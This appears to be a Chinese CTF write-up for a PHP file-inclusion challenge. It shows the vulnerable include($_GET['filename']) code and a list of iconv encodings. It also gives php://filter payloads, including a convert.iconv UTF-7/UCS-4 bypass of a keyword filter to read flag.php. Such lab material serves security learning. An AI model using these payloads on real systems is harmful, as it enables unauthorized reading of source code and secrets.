攻防世界题目名称-文件包含
- ctf
- 2023-08-04
- 1641热度
- 0评论
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
文件包含一般是用 php://filter 加 convert.base64-encode 文件读取 flag.php
?filename=php://filter/read=convert.base64-encode/resource=flag.php
显然read搬掉了

输入 "base64",仍然提示"do not hack!"
php://filter 是一个可以在 PHP 中进行数据过滤和流处理的协议。它可以让你通过一些特定的过滤器来处理各种数据流,包括文件,HTTP 请求,以及其它的输入和输出数据流。这些过滤器可以用于实现各种功能,例如数据加密和解密,数据压缩和解压缩,以及数据格式转换等。不过需要注意的是,如果使用不当,该协议也可能导致一些安全问题。协议的语法:
php://filter/[标准输入输出流标识][使用的过滤器]
使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
最后可以发现,UCS-4*是没有报出错误信息的
那么结合其他编码方式即可读出flag.php文件
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

